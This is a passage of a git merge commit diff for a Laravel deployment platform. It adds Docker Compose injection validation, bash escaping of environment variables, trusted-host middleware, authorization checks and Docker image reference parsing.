Merge branch 'next' into andrasbacsai/livewire-model-binding

Resolved merge conflicts between Livewire model binding refactoring and UI/CSS updates from next branch. Key integrations:

- Preserved unique HTML ID generation for form components
- Maintained wire:model bindings using $modelBinding
- Integrated new wire:dirty.class styles (border-l-warning pattern)
- Kept both syncData(true) and validateDockerComposeForInjection in StackForm
- Merged security tests and helper improvements from next

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>
This commit is contained in:
Andras Bacsai
2025-10-16 11:05:29 +02:00
74 changed files with 4012 additions and 286 deletions

View File

@@ -17,6 +17,7 @@ use App\Models\Server;
use App\Models\Service; use App\Models\Service;
use App\Rules\ValidGitBranch; use App\Rules\ValidGitBranch;
use App\Rules\ValidGitRepositoryUrl; use App\Rules\ValidGitRepositoryUrl;
use App\Services\DockerImageParser;
use Illuminate\Http\Request; use Illuminate\Http\Request;
use Illuminate\Validation\Rule; use Illuminate\Validation\Rule;
use OpenApi\Attributes as OA; use OpenApi\Attributes as OA;
@@ -1512,31 +1513,32 @@ class ApplicationsController extends Controller
if ($return instanceof \Illuminate\Http\JsonResponse) { if ($return instanceof \Illuminate\Http\JsonResponse) {
return $return; return $return;
} }
// Process docker image name and tag for SHA256 digests // Process docker image name and tag using DockerImageParser
$dockerImageName = $request->docker_registry_image_name; $dockerImageName = $request->docker_registry_image_name;
$dockerImageTag = $request->docker_registry_image_tag; $dockerImageTag = $request->docker_registry_image_tag;
// Strip 'sha256:' prefix if user provided it in the tag // Build the full Docker image string for parsing
if ($dockerImageTag) { if ($dockerImageTag) {
$dockerImageTag = preg_replace('/^sha256:/i', '', trim($dockerImageTag)); $dockerImageString = $dockerImageName.':'.$dockerImageTag;
} else {
$dockerImageString = $dockerImageName;
} }
// Remove @sha256 from image name if user added it // Parse using DockerImageParser to normalize the image reference
if ($dockerImageName) { $parser = new DockerImageParser;
$dockerImageName = preg_replace('/@sha256$/i', '', trim($dockerImageName)); $parser->parse($dockerImageString);
}
// Check if tag is a valid SHA256 hash (64 hex characters) // Get normalized image name and tag
$isSha256Hash = $dockerImageTag && preg_match('/^[a-f0-9]{64}$/i', $dockerImageTag); $normalizedImageName = $parser->getFullImageNameWithoutTag();
// Append @sha256 to image name if using digest and not already present // Append @sha256 to image name if using digest
if ($isSha256Hash && ! str_ends_with($dockerImageName, '@sha256')) { if ($parser->isImageHash() && ! str_ends_with($normalizedImageName, '@sha256')) {
$dockerImageName .= '@sha256'; $normalizedImageName .= '@sha256';
} }
// Set processed values back to request // Set processed values back to request
$request->offsetSet('docker_registry_image_name', $dockerImageName); $request->offsetSet('docker_registry_image_name', $normalizedImageName);
$request->offsetSet('docker_registry_image_tag', $dockerImageTag ?: 'latest'); $request->offsetSet('docker_registry_image_tag', $parser->getTag());
$application = new Application; $application = new Application;
removeUnnecessaryFieldsFromRequest($request); removeUnnecessaryFieldsFromRequest($request);

View File

@@ -328,9 +328,23 @@ class ServicesController extends Controller
}); });
} }
if ($oneClickService) { if ($oneClickService) {
$service_payload = [ $dockerComposeRaw = base64_decode($oneClickService);
// Validate for command injection BEFORE creating service
try {
validateDockerComposeForInjection($dockerComposeRaw);
} catch (\Exception $e) {
return response()->json([
'message' => 'Validation failed.',
'errors' => [
'docker_compose_raw' => $e->getMessage(),
],
], 422);
}
$servicePayload = [
'name' => "$oneClickServiceName-".str()->random(10), 'name' => "$oneClickServiceName-".str()->random(10),
'docker_compose_raw' => base64_decode($oneClickService), 'docker_compose_raw' => $dockerComposeRaw,
'environment_id' => $environment->id, 'environment_id' => $environment->id,
'service_type' => $oneClickServiceName, 'service_type' => $oneClickServiceName,
'server_id' => $server->id, 'server_id' => $server->id,
@@ -338,9 +352,9 @@ class ServicesController extends Controller
'destination_type' => $destination->getMorphClass(), 'destination_type' => $destination->getMorphClass(),
]; ];
if ($oneClickServiceName === 'cloudflared') { if ($oneClickServiceName === 'cloudflared') {
data_set($service_payload, 'connect_to_docker_network', true); data_set($servicePayload, 'connect_to_docker_network', true);
} }
$service = Service::create($service_payload); $service = Service::create($servicePayload);
$service->name = "$oneClickServiceName-".$service->uuid; $service->name = "$oneClickServiceName-".$service->uuid;
$service->save(); $service->save();
if ($oneClickDotEnvs?->count() > 0) { if ($oneClickDotEnvs?->count() > 0) {
@@ -462,6 +476,18 @@ class ServicesController extends Controller
$dockerCompose = base64_decode($request->docker_compose_raw); $dockerCompose = base64_decode($request->docker_compose_raw);
$dockerComposeRaw = Yaml::dump(Yaml::parse($dockerCompose), 10, 2, Yaml::DUMP_MULTI_LINE_LITERAL_BLOCK); $dockerComposeRaw = Yaml::dump(Yaml::parse($dockerCompose), 10, 2, Yaml::DUMP_MULTI_LINE_LITERAL_BLOCK);
// Validate for command injection BEFORE saving to database
try {
validateDockerComposeForInjection($dockerComposeRaw);
} catch (\Exception $e) {
return response()->json([
'message' => 'Validation failed.',
'errors' => [
'docker_compose_raw' => $e->getMessage(),
],
], 422);
}
$connectToDockerNetwork = $request->connect_to_docker_network ?? false; $connectToDockerNetwork = $request->connect_to_docker_network ?? false;
$instantDeploy = $request->instant_deploy ?? false; $instantDeploy = $request->instant_deploy ?? false;
@@ -777,6 +803,19 @@ class ServicesController extends Controller
} }
$dockerCompose = base64_decode($request->docker_compose_raw); $dockerCompose = base64_decode($request->docker_compose_raw);
$dockerComposeRaw = Yaml::dump(Yaml::parse($dockerCompose), 10, 2, Yaml::DUMP_MULTI_LINE_LITERAL_BLOCK); $dockerComposeRaw = Yaml::dump(Yaml::parse($dockerCompose), 10, 2, Yaml::DUMP_MULTI_LINE_LITERAL_BLOCK);
// Validate for command injection BEFORE saving to database
try {
validateDockerComposeForInjection($dockerComposeRaw);
} catch (\Exception $e) {
return response()->json([
'message' => 'Validation failed.',
'errors' => [
'docker_compose_raw' => $e->getMessage(),
],
], 422);
}
$service->docker_compose_raw = $dockerComposeRaw; $service->docker_compose_raw = $dockerComposeRaw;
} }

View File

@@ -14,7 +14,7 @@ class Kernel extends HttpKernel
* @var array<int, class-string|string> * @var array<int, class-string|string>
*/ */
protected $middleware = [ protected $middleware = [
// \App\Http\Middleware\TrustHosts::class, \App\Http\Middleware\TrustHosts::class,
\App\Http\Middleware\TrustProxies::class, \App\Http\Middleware\TrustProxies::class,
\Illuminate\Http\Middleware\HandleCors::class, \Illuminate\Http\Middleware\HandleCors::class,
\App\Http\Middleware\PreventRequestsDuringMaintenance::class, \App\Http\Middleware\PreventRequestsDuringMaintenance::class,

View File

@@ -2,7 +2,10 @@
namespace App\Http\Middleware; namespace App\Http\Middleware;
use App\Models\InstanceSettings;
use Illuminate\Http\Middleware\TrustHosts as Middleware; use Illuminate\Http\Middleware\TrustHosts as Middleware;
use Illuminate\Support\Facades\Cache;
use Spatie\Url\Url;
class TrustHosts extends Middleware class TrustHosts extends Middleware
{ {
@@ -13,8 +16,37 @@ class TrustHosts extends Middleware
*/ */
public function hosts(): array public function hosts(): array
{ {
return [ $trustedHosts = [];
$this->allSubdomainsOfApplicationUrl(),
]; // Trust the configured FQDN from InstanceSettings (cached to avoid DB query on every request)
// Use empty string as sentinel value instead of null so negative results are cached
$fqdnHost = Cache::remember('instance_settings_fqdn_host', 300, function () {
try {
$settings = InstanceSettings::get();
if ($settings && $settings->fqdn) {
$url = Url::fromString($settings->fqdn);
$host = $url->getHost();
return $host ?: '';
}
} catch (\Exception $e) {
// If instance settings table doesn't exist yet (during installation),
// return empty string (sentinel) so this result is cached
}
return '';
});
// Convert sentinel value back to null for consumption
$fqdnHost = $fqdnHost !== '' ? $fqdnHost : null;
if ($fqdnHost) {
$trustedHosts[] = $fqdnHost;
}
// Trust all subdomains of APP_URL as fallback
$trustedHosts[] = $this->allSubdomainsOfApplicationUrl();
return array_filter($trustedHosts);
} }
} }

View File

@@ -491,6 +491,11 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
$this->generate_build_env_variables(); $this->generate_build_env_variables();
$this->add_build_env_variables_to_dockerfile(); $this->add_build_env_variables_to_dockerfile();
$this->build_image(); $this->build_image();
// Save runtime environment variables AFTER the build
// This overwrites the build-time .env with ALL variables (build-time + runtime)
$this->save_runtime_environment_variables();
$this->push_to_docker_registry(); $this->push_to_docker_registry();
$this->rolling_update(); $this->rolling_update();
} }
@@ -1314,12 +1319,18 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
private function generate_buildtime_environment_variables() private function generate_buildtime_environment_variables()
{ {
if (isDev()) {
$this->application_deployment_queue->addLogEntry('[DEBUG] ========================================');
$this->application_deployment_queue->addLogEntry('[DEBUG] Generating build-time environment variables');
$this->application_deployment_queue->addLogEntry('[DEBUG] ========================================');
}
$envs = collect([]); $envs = collect([]);
$coolify_envs = $this->generate_coolify_env_variables(); $coolify_envs = $this->generate_coolify_env_variables();
// Add COOLIFY variables // Add COOLIFY variables
$coolify_envs->each(function ($item, $key) use ($envs) { $coolify_envs->each(function ($item, $key) use ($envs) {
$envs->push($key.'='.$item); $envs->push($key.'='.escapeBashEnvValue($item));
}); });
// Add SERVICE_NAME variables for Docker Compose builds // Add SERVICE_NAME variables for Docker Compose builds
@@ -1333,7 +1344,7 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
} }
$services = data_get($dockerCompose, 'services', []); $services = data_get($dockerCompose, 'services', []);
foreach ($services as $serviceName => $_) { foreach ($services as $serviceName => $_) {
$envs->push('SERVICE_NAME_'.str($serviceName)->upper().'='.$serviceName); $envs->push('SERVICE_NAME_'.str($serviceName)->upper().'='.escapeBashEnvValue($serviceName));
} }
// Generate SERVICE_FQDN & SERVICE_URL for non-PR deployments // Generate SERVICE_FQDN & SERVICE_URL for non-PR deployments
@@ -1346,8 +1357,8 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
$coolifyScheme = $coolifyUrl->getScheme(); $coolifyScheme = $coolifyUrl->getScheme();
$coolifyFqdn = $coolifyUrl->getHost(); $coolifyFqdn = $coolifyUrl->getHost();
$coolifyUrl = $coolifyUrl->withScheme($coolifyScheme)->withHost($coolifyFqdn)->withPort(null); $coolifyUrl = $coolifyUrl->withScheme($coolifyScheme)->withHost($coolifyFqdn)->withPort(null);
$envs->push('SERVICE_URL_'.str($forServiceName)->upper().'='.$coolifyUrl->__toString()); $envs->push('SERVICE_URL_'.str($forServiceName)->upper().'='.escapeBashEnvValue($coolifyUrl->__toString()));
$envs->push('SERVICE_FQDN_'.str($forServiceName)->upper().'='.$coolifyFqdn); $envs->push('SERVICE_FQDN_'.str($forServiceName)->upper().'='.escapeBashEnvValue($coolifyFqdn));
} }
} }
} else { } else {
@@ -1355,7 +1366,7 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
$rawDockerCompose = Yaml::parse($this->application->docker_compose_raw); $rawDockerCompose = Yaml::parse($this->application->docker_compose_raw);
$rawServices = data_get($rawDockerCompose, 'services', []); $rawServices = data_get($rawDockerCompose, 'services', []);
foreach ($rawServices as $rawServiceName => $_) { foreach ($rawServices as $rawServiceName => $_) {
$envs->push('SERVICE_NAME_'.str($rawServiceName)->upper().'='.addPreviewDeploymentSuffix($rawServiceName, $this->pull_request_id)); $envs->push('SERVICE_NAME_'.str($rawServiceName)->upper().'='.escapeBashEnvValue(addPreviewDeploymentSuffix($rawServiceName, $this->pull_request_id)));
} }
// Generate SERVICE_FQDN & SERVICE_URL for preview deployments with PR-specific domains // Generate SERVICE_FQDN & SERVICE_URL for preview deployments with PR-specific domains
@@ -1368,8 +1379,8 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
$coolifyScheme = $coolifyUrl->getScheme(); $coolifyScheme = $coolifyUrl->getScheme();
$coolifyFqdn = $coolifyUrl->getHost(); $coolifyFqdn = $coolifyUrl->getHost();
$coolifyUrl = $coolifyUrl->withScheme($coolifyScheme)->withHost($coolifyFqdn)->withPort(null); $coolifyUrl = $coolifyUrl->withScheme($coolifyScheme)->withHost($coolifyFqdn)->withPort(null);
$envs->push('SERVICE_URL_'.str($forServiceName)->upper().'='.$coolifyUrl->__toString()); $envs->push('SERVICE_URL_'.str($forServiceName)->upper().'='.escapeBashEnvValue($coolifyUrl->__toString()));
$envs->push('SERVICE_FQDN_'.str($forServiceName)->upper().'='.$coolifyFqdn); $envs->push('SERVICE_FQDN_'.str($forServiceName)->upper().'='.escapeBashEnvValue($coolifyFqdn));
} }
} }
} }
@@ -1391,7 +1402,32 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
} }
foreach ($sorted_environment_variables as $env) { foreach ($sorted_environment_variables as $env) {
$envs->push($env->key.'='.$env->real_value); // For literal/multiline vars, real_value includes quotes that we need to remove
if ($env->is_literal || $env->is_multiline) {
// Strip outer quotes from real_value and apply proper bash escaping
$value = trim($env->real_value, "'");
$escapedValue = escapeBashEnvValue($value);
$envs->push($env->key.'='.$escapedValue);
if (isDev()) {
$this->application_deployment_queue->addLogEntry("[DEBUG] Build-time env: {$env->key}");
$this->application_deployment_queue->addLogEntry('[DEBUG] Type: literal/multiline');
$this->application_deployment_queue->addLogEntry("[DEBUG] raw real_value: {$env->real_value}");
$this->application_deployment_queue->addLogEntry("[DEBUG] stripped value: {$value}");
$this->application_deployment_queue->addLogEntry("[DEBUG] final escaped: {$escapedValue}");
}
} else {
// For normal vars, use double quotes to allow $VAR expansion
$escapedValue = escapeBashDoubleQuoted($env->real_value);
$envs->push($env->key.'='.$escapedValue);
if (isDev()) {
$this->application_deployment_queue->addLogEntry("[DEBUG] Build-time env: {$env->key}");
$this->application_deployment_queue->addLogEntry('[DEBUG] Type: normal (allows expansion)');
$this->application_deployment_queue->addLogEntry("[DEBUG] real_value: {$env->real_value}");
$this->application_deployment_queue->addLogEntry("[DEBUG] final escaped: {$escapedValue}");
}
}
} }
} else { } else {
$sorted_environment_variables = $this->application->environment_variables_preview() $sorted_environment_variables = $this->application->environment_variables_preview()
@@ -1408,11 +1444,42 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
} }
foreach ($sorted_environment_variables as $env) { foreach ($sorted_environment_variables as $env) {
$envs->push($env->key.'='.$env->real_value); // For literal/multiline vars, real_value includes quotes that we need to remove
if ($env->is_literal || $env->is_multiline) {
// Strip outer quotes from real_value and apply proper bash escaping
$value = trim($env->real_value, "'");
$escapedValue = escapeBashEnvValue($value);
$envs->push($env->key.'='.$escapedValue);
if (isDev()) {
$this->application_deployment_queue->addLogEntry("[DEBUG] Build-time env: {$env->key}");
$this->application_deployment_queue->addLogEntry('[DEBUG] Type: literal/multiline');
$this->application_deployment_queue->addLogEntry("[DEBUG] raw real_value: {$env->real_value}");
$this->application_deployment_queue->addLogEntry("[DEBUG] stripped value: {$value}");
$this->application_deployment_queue->addLogEntry("[DEBUG] final escaped: {$escapedValue}");
}
} else {
// For normal vars, use double quotes to allow $VAR expansion
$escapedValue = escapeBashDoubleQuoted($env->real_value);
$envs->push($env->key.'='.$escapedValue);
if (isDev()) {
$this->application_deployment_queue->addLogEntry("[DEBUG] Build-time env: {$env->key}");
$this->application_deployment_queue->addLogEntry('[DEBUG] Type: normal (allows expansion)');
$this->application_deployment_queue->addLogEntry("[DEBUG] real_value: {$env->real_value}");
$this->application_deployment_queue->addLogEntry("[DEBUG] final escaped: {$escapedValue}");
}
}
} }
} }
// Return the generated environment variables // Return the generated environment variables
if (isDev()) {
$this->application_deployment_queue->addLogEntry('[DEBUG] ========================================');
$this->application_deployment_queue->addLogEntry("[DEBUG] Total build-time env variables: {$envs->count()}");
$this->application_deployment_queue->addLogEntry('[DEBUG] ========================================');
}
return $envs; return $envs;
} }
@@ -1892,9 +1959,27 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
); );
} }
if ($this->saved_outputs->get('git_commit_sha') && ! $this->rollback) { if ($this->saved_outputs->get('git_commit_sha') && ! $this->rollback) {
$this->commit = $this->saved_outputs->get('git_commit_sha')->before("\t"); // Extract commit SHA from git ls-remote output, handling multi-line output (e.g., redirect warnings)
$this->application_deployment_queue->commit = $this->commit; // Expected format: "commit_sha\trefs/heads/branch" possibly preceded by warning lines
$this->application_deployment_queue->save(); // Note: Git warnings can be on the same line as the result (no newline)
$lsRemoteOutput = $this->saved_outputs->get('git_commit_sha');
// Find the part containing a tab (the actual ls-remote result)
// Handle cases where warning is on the same line as the result
if ($lsRemoteOutput->contains("\t")) {
// Get everything from the last occurrence of a valid commit SHA pattern before the tab
// A valid commit SHA is 40 hex characters
$output = $lsRemoteOutput->value();
// Extract the line with the tab (actual ls-remote result)
preg_match('/\b([0-9a-fA-F]{40})(?=\s*\t)/', $output, $matches);
if (isset($matches[1])) {
$this->commit = $matches[1];
$this->application_deployment_queue->commit = $this->commit;
$this->application_deployment_queue->save();
}
}
} }
$this->set_coolify_variables(); $this->set_coolify_variables();
@@ -1909,7 +1994,7 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
{ {
$importCommands = $this->generate_git_import_commands(); $importCommands = $this->generate_git_import_commands();
$this->application_deployment_queue->addLogEntry("\n----------------------------------------"); $this->application_deployment_queue->addLogEntry("\n----------------------------------------");
$this->application_deployment_queue->addLogEntry("Importing {$this->customRepository}:{$this->application->git_branch} (commit sha {$this->application->git_commit_sha}) to {$this->basedir}."); $this->application_deployment_queue->addLogEntry("Importing {$this->customRepository}:{$this->application->git_branch} (commit sha {$this->commit}) to {$this->basedir}.");
if ($this->pull_request_id !== 0) { if ($this->pull_request_id !== 0) {
$this->application_deployment_queue->addLogEntry("Checking out tag pull/{$this->pull_request_id}/head."); $this->application_deployment_queue->addLogEntry("Checking out tag pull/{$this->pull_request_id}/head.");
} }
@@ -2705,10 +2790,12 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue
] ]
); );
} }
$publishDir = trim($this->application->publish_directory, '/');
$publishDir = $publishDir ? "/{$publishDir}" : '';
$dockerfile = base64_encode("FROM {$this->application->static_image} $dockerfile = base64_encode("FROM {$this->application->static_image}
WORKDIR /usr/share/nginx/html/ WORKDIR /usr/share/nginx/html/
LABEL coolify.deploymentId={$this->deployment_uuid} LABEL coolify.deploymentId={$this->deployment_uuid}
COPY --from=$this->build_image_name /app/{$this->application->publish_directory} . COPY --from=$this->build_image_name /app{$publishDir} .
COPY ./nginx.conf /etc/nginx/conf.d/default.conf"); COPY ./nginx.conf /etc/nginx/conf.d/default.conf");
if (str($this->application->custom_nginx_configuration)->isNotEmpty()) { if (str($this->application->custom_nginx_configuration)->isNotEmpty()) {
$nginx_config = base64_encode($this->application->custom_nginx_configuration); $nginx_config = base64_encode($this->application->custom_nginx_configuration);

View File

@@ -35,20 +35,24 @@ class ApplicationPullRequestUpdateJob implements ShouldBeEncrypted, ShouldQueue
if ($this->application->is_public_repository()) { if ($this->application->is_public_repository()) {
return; return;
} }
$serviceName = $this->application->name;
if ($this->status === ProcessStatus::CLOSED) { if ($this->status === ProcessStatus::CLOSED) {
$this->delete_comment(); $this->delete_comment();
return; return;
} elseif ($this->status === ProcessStatus::IN_PROGRESS) {
$this->body = "The preview deployment is in progress. 🟡\n\n";
} elseif ($this->status === ProcessStatus::FINISHED) {
$this->body = "The preview deployment is ready. 🟢\n\n";
if ($this->preview->fqdn) {
$this->body .= "[Open Preview]({$this->preview->fqdn}) | ";
}
} elseif ($this->status === ProcessStatus::ERROR) {
$this->body = "The preview deployment failed. 🔴\n\n";
} }
match ($this->status) {
ProcessStatus::QUEUED => $this->body = "The preview deployment for **{$serviceName}** is queued. ⏳\n\n",
ProcessStatus::IN_PROGRESS => $this->body = "The preview deployment for **{$serviceName}** is in progress. 🟡\n\n",
ProcessStatus::FINISHED => $this->body = "The preview deployment for **{$serviceName}** is ready. 🟢\n\n".($this->preview->fqdn ? "[Open Preview]({$this->preview->fqdn}) | " : ''),
ProcessStatus::ERROR => $this->body = "The preview deployment for **{$serviceName}** failed. 🔴\n\n",
ProcessStatus::KILLED => $this->body = "The preview deployment for **{$serviceName}** was killed. ⚫\n\n",
ProcessStatus::CANCELLED => $this->body = "The preview deployment for **{$serviceName}** was cancelled. 🚫\n\n",
ProcessStatus::CLOSED => '', // Already handled above, but included for completeness
};
$this->build_logs_url = base_url()."/project/{$this->application->environment->project->uuid}/environment/{$this->application->environment->uuid}/application/{$this->application->uuid}/deployment/{$this->deployment_uuid}"; $this->build_logs_url = base_url()."/project/{$this->application->environment->project->uuid}/environment/{$this->application->environment->uuid}/application/{$this->application->uuid}/deployment/{$this->deployment_uuid}";
$this->body .= '[Open Build Logs]('.$this->build_logs_url.")\n\n\n"; $this->body .= '[Open Build Logs]('.$this->build_logs_url.")\n\n\n";

View File

@@ -1147,6 +1147,9 @@ class GlobalSearch extends Component
$this->selectedResourceType = $type; $this->selectedResourceType = $type;
$this->isSelectingResource = true; $this->isSelectingResource = true;
// Clear search query to show selection UI instead of creatable items
$this->searchQuery = '';
// Reset selections // Reset selections
$this->selectedServerId = null; $this->selectedServerId = null;
$this->selectedDestinationUuid = null; $this->selectedDestinationUuid = null;
@@ -1316,10 +1319,10 @@ class GlobalSearch extends Component
$queryParams['database_image'] = 'postgres:16-alpine'; $queryParams['database_image'] = 'postgres:16-alpine';
} }
return redirect()->route('project.resource.create', [ $this->redirect(route('project.resource.create', [
'project_uuid' => $this->selectedProjectUuid, 'project_uuid' => $this->selectedProjectUuid,
'environment_uuid' => $this->selectedEnvironmentUuid, 'environment_uuid' => $this->selectedEnvironmentUuid,
] + $queryParams); ] + $queryParams));
} }
} }

View File

@@ -25,6 +25,7 @@ class MonacoEditor extends Component
public bool $readonly, public bool $readonly,
public bool $allowTab, public bool $allowTab,
public bool $spellcheck, public bool $spellcheck,
public bool $autofocus,
public ?string $helper, public ?string $helper,
public bool $realtimeValidation, public bool $realtimeValidation,
public bool $allowToPeak, public bool $allowToPeak,

View File

@@ -85,6 +85,7 @@ class BackupEdit extends Component
public function mount() public function mount()
{ {
try { try {
$this->authorize('view', $this->backup->database);
$this->parameters = get_route_parameters(); $this->parameters = get_route_parameters();
$this->syncData(); $this->syncData();
} catch (Exception $e) { } catch (Exception $e) {

View File

@@ -16,7 +16,7 @@ class General extends Component
{ {
use AuthorizesRequests; use AuthorizesRequests;
public Server $server; public ?Server $server = null;
public StandaloneClickhouse $database; public StandaloneClickhouse $database;
@@ -56,8 +56,14 @@ class General extends Component
public function mount() public function mount()
{ {
try { try {
$this->authorize('view', $this->database);
$this->syncData(); $this->syncData();
$this->server = data_get($this->database, 'destination.server'); $this->server = data_get($this->database, 'destination.server');
if (! $this->server) {
$this->dispatch('error', 'Database destination server is not configured.');
return;
}
} catch (\Throwable $e) { } catch (\Throwable $e) {
return handleError($e, $this); return handleError($e, $this);
} }

View File

@@ -3,10 +3,13 @@
namespace App\Livewire\Project\Database; namespace App\Livewire\Project\Database;
use Auth; use Auth;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
use Livewire\Component; use Livewire\Component;
class Configuration extends Component class Configuration extends Component
{ {
use AuthorizesRequests;
public $currentRoute; public $currentRoute;
public $database; public $database;
@@ -42,6 +45,8 @@ class Configuration extends Component
->where('uuid', request()->route('database_uuid')) ->where('uuid', request()->route('database_uuid'))
->firstOrFail(); ->firstOrFail();
$this->authorize('view', $database);
$this->database = $database; $this->database = $database;
$this->project = $project; $this->project = $project;
$this->environment = $environment; $this->environment = $environment;

View File

@@ -18,7 +18,7 @@ class General extends Component
{ {
use AuthorizesRequests; use AuthorizesRequests;
public Server $server; public ?Server $server = null;
public StandaloneDragonfly $database; public StandaloneDragonfly $database;
@@ -62,8 +62,14 @@ class General extends Component
public function mount() public function mount()
{ {
try { try {
$this->authorize('view', $this->database);
$this->syncData(); $this->syncData();
$this->server = data_get($this->database, 'destination.server'); $this->server = data_get($this->database, 'destination.server');
if (! $this->server) {
$this->dispatch('error', 'Database destination server is not configured.');
return;
}
$existingCert = $this->database->sslCertificates()->first(); $existingCert = $this->database->sslCertificates()->first();

View File

@@ -131,6 +131,7 @@ EOD;
if (is_null($resource)) { if (is_null($resource)) {
abort(404); abort(404);
} }
$this->authorize('view', $resource);
$this->resource = $resource; $this->resource = $resource;
$this->server = $this->resource->destination->server; $this->server = $this->resource->destination->server;
$this->container = $this->resource->uuid; $this->container = $this->resource->uuid;

View File

@@ -18,7 +18,7 @@ class General extends Component
{ {
use AuthorizesRequests; use AuthorizesRequests;
public Server $server; public ?Server $server = null;
public StandaloneKeydb $database; public StandaloneKeydb $database;
@@ -64,8 +64,14 @@ class General extends Component
public function mount() public function mount()
{ {
try { try {
$this->authorize('view', $this->database);
$this->syncData(); $this->syncData();
$this->server = data_get($this->database, 'destination.server'); $this->server = data_get($this->database, 'destination.server');
if (! $this->server) {
$this->dispatch('error', 'Database destination server is not configured.');
return;
}
$existingCert = $this->database->sslCertificates()->first(); $existingCert = $this->database->sslCertificates()->first();

View File

@@ -18,7 +18,7 @@ class General extends Component
{ {
use AuthorizesRequests; use AuthorizesRequests;
public Server $server; public ?Server $server = null;
public StandaloneMariadb $database; public StandaloneMariadb $database;
@@ -122,8 +122,14 @@ class General extends Component
public function mount() public function mount()
{ {
try { try {
$this->authorize('view', $this->database);
$this->syncData(); $this->syncData();
$this->server = data_get($this->database, 'destination.server'); $this->server = data_get($this->database, 'destination.server');
if (! $this->server) {
$this->dispatch('error', 'Database destination server is not configured.');
return;
}
$existingCert = $this->database->sslCertificates()->first(); $existingCert = $this->database->sslCertificates()->first();

View File

@@ -18,7 +18,7 @@ class General extends Component
{ {
use AuthorizesRequests; use AuthorizesRequests;
public Server $server; public ?Server $server = null;
public StandaloneMongodb $database; public StandaloneMongodb $database;
@@ -122,8 +122,14 @@ class General extends Component
public function mount() public function mount()
{ {
try { try {
$this->authorize('view', $this->database);
$this->syncData(); $this->syncData();
$this->server = data_get($this->database, 'destination.server'); $this->server = data_get($this->database, 'destination.server');
if (! $this->server) {
$this->dispatch('error', 'Database destination server is not configured.');
return;
}
$existingCert = $this->database->sslCertificates()->first(); $existingCert = $this->database->sslCertificates()->first();

View File

@@ -20,7 +20,7 @@ class General extends Component
public StandaloneMysql $database; public StandaloneMysql $database;
public Server $server; public ?Server $server = null;
public string $name; public string $name;
@@ -127,8 +127,14 @@ class General extends Component
public function mount() public function mount()
{ {
try { try {
$this->authorize('view', $this->database);
$this->syncData(); $this->syncData();
$this->server = data_get($this->database, 'destination.server'); $this->server = data_get($this->database, 'destination.server');
if (! $this->server) {
$this->dispatch('error', 'Database destination server is not configured.');
return;
}
$existingCert = $this->database->sslCertificates()->first(); $existingCert = $this->database->sslCertificates()->first();

View File

@@ -20,7 +20,7 @@ class General extends Component
public StandalonePostgresql $database; public StandalonePostgresql $database;
public Server $server; public ?Server $server = null;
public string $name; public string $name;
@@ -140,8 +140,14 @@ class General extends Component
public function mount() public function mount()
{ {
try { try {
$this->authorize('view', $this->database);
$this->syncData(); $this->syncData();
$this->server = data_get($this->database, 'destination.server'); $this->server = data_get($this->database, 'destination.server');
if (! $this->server) {
$this->dispatch('error', 'Database destination server is not configured.');
return;
}
$existingCert = $this->database->sslCertificates()->first(); $existingCert = $this->database->sslCertificates()->first();

View File

@@ -18,7 +18,7 @@ class General extends Component
{ {
use AuthorizesRequests; use AuthorizesRequests;
public Server $server; public ?Server $server = null;
public StandaloneRedis $database; public StandaloneRedis $database;
@@ -115,8 +115,14 @@ class General extends Component
public function mount() public function mount()
{ {
try { try {
$this->authorize('view', $this->database);
$this->syncData(); $this->syncData();
$this->server = data_get($this->database, 'destination.server'); $this->server = data_get($this->database, 'destination.server');
if (! $this->server) {
$this->dispatch('error', 'Database destination server is not configured.');
return;
}
$existingCert = $this->database->sslCertificates()->first(); $existingCert = $this->database->sslCertificates()->first();

View File

@@ -37,6 +37,10 @@ class DockerCompose extends Component
'dockerComposeRaw' => 'required', 'dockerComposeRaw' => 'required',
]); ]);
$this->dockerComposeRaw = Yaml::dump(Yaml::parse($this->dockerComposeRaw), 10, 2, Yaml::DUMP_MULTI_LINE_LITERAL_BLOCK); $this->dockerComposeRaw = Yaml::dump(Yaml::parse($this->dockerComposeRaw), 10, 2, Yaml::DUMP_MULTI_LINE_LITERAL_BLOCK);
// Validate for command injection BEFORE saving to database
validateDockerComposeForInjection($this->dockerComposeRaw);
$project = Project::where('uuid', $this->parameters['project_uuid'])->first(); $project = Project::where('uuid', $this->parameters['project_uuid'])->first();
$environment = $project->load(['environments'])->environments->where('uuid', $this->parameters['environment_uuid'])->first(); $environment = $project->load(['environments'])->environments->where('uuid', $this->parameters['environment_uuid'])->first();

View File

@@ -28,18 +28,60 @@ class DockerImage extends Component
$this->query = request()->query(); $this->query = request()->query();
} }
/**
* Auto-parse image name when user pastes a complete Docker image reference
* Examples:
* - nginx:stable-alpine3.21-perl@sha256:4e272eef...
* - ghcr.io/user/app:v1.2.3
* - nginx@sha256:abc123...
*/
public function updatedImageName(): void
{
if (empty($this->imageName)) {
return;
}
// Don't auto-parse if user has already manually filled tag or sha256 fields
if (! empty($this->imageTag) || ! empty($this->imageSha256)) {
return;
}
// Only auto-parse if the image name contains a tag (:) or digest (@)
if (! str_contains($this->imageName, ':') && ! str_contains($this->imageName, '@')) {
return;
}
try {
$parser = new DockerImageParser;
$parser->parse($this->imageName);
// Extract the base image name (without tag/digest)
$baseImageName = $parser->getFullImageNameWithoutTag();
// Only update if parsing resulted in different base name
// This prevents unnecessary updates when user types just the name
if ($baseImageName !== $this->imageName) {
if ($parser->isImageHash()) {
// It's a SHA256 digest (takes priority over tag)
$this->imageSha256 = $parser->getTag();
$this->imageTag = '';
} elseif ($parser->getTag() !== 'latest' || str_contains($this->imageName, ':')) {
// It's a regular tag (only set if not default 'latest' or explicitly specified)
